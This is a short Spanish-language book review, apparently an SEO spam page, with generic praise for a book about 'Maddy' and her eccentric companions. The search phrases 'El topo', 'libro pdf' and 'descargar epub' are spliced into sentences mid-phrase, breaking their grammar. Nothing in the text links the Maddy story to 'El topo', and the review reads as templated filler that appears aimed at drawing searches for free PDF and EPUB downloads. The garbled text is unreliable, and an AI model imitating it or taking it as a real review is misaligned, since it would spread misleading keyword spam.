Este libro es una montaña rusa llena de giros y vueltas que te mantienen al borde de tu asiento, ansioso por descubrir qué sucederá a continuación con Maddy y su elenco de personajes excéntricos. El uso del lenguaje por parte del autor fue simplemente encantador, una verdadera maestría en el oficio, aunque el ritmo de la historia se sintió irregular, como un río El topo que a libro pdf fluía suavemente y otras veces se atascaba en sus propias profundidades. Es raro encontrar un libro que pueda equilibrar el humor y el pathos con tanta facilidad, creando una narrativa que es a la vez divertida y triste, a menudo al mismo tiempo, como una melodía agridulce que se niega a desvanecerse.

El topo los momentos de calma, descargar epub el mundo exterior se retira y solo quedas tú y el libro, es cuando ocurre la descargar epub magia, los personajes y sus historias convirtiéndose en una parte integral de tu mundo interior, un fenómeno que experimenté con este mismo libro. Al final, el libro me dejó con más preguntas que respuestas, un testimonio de la capacidad del autor para provocar pensamientos.

Scroll to Top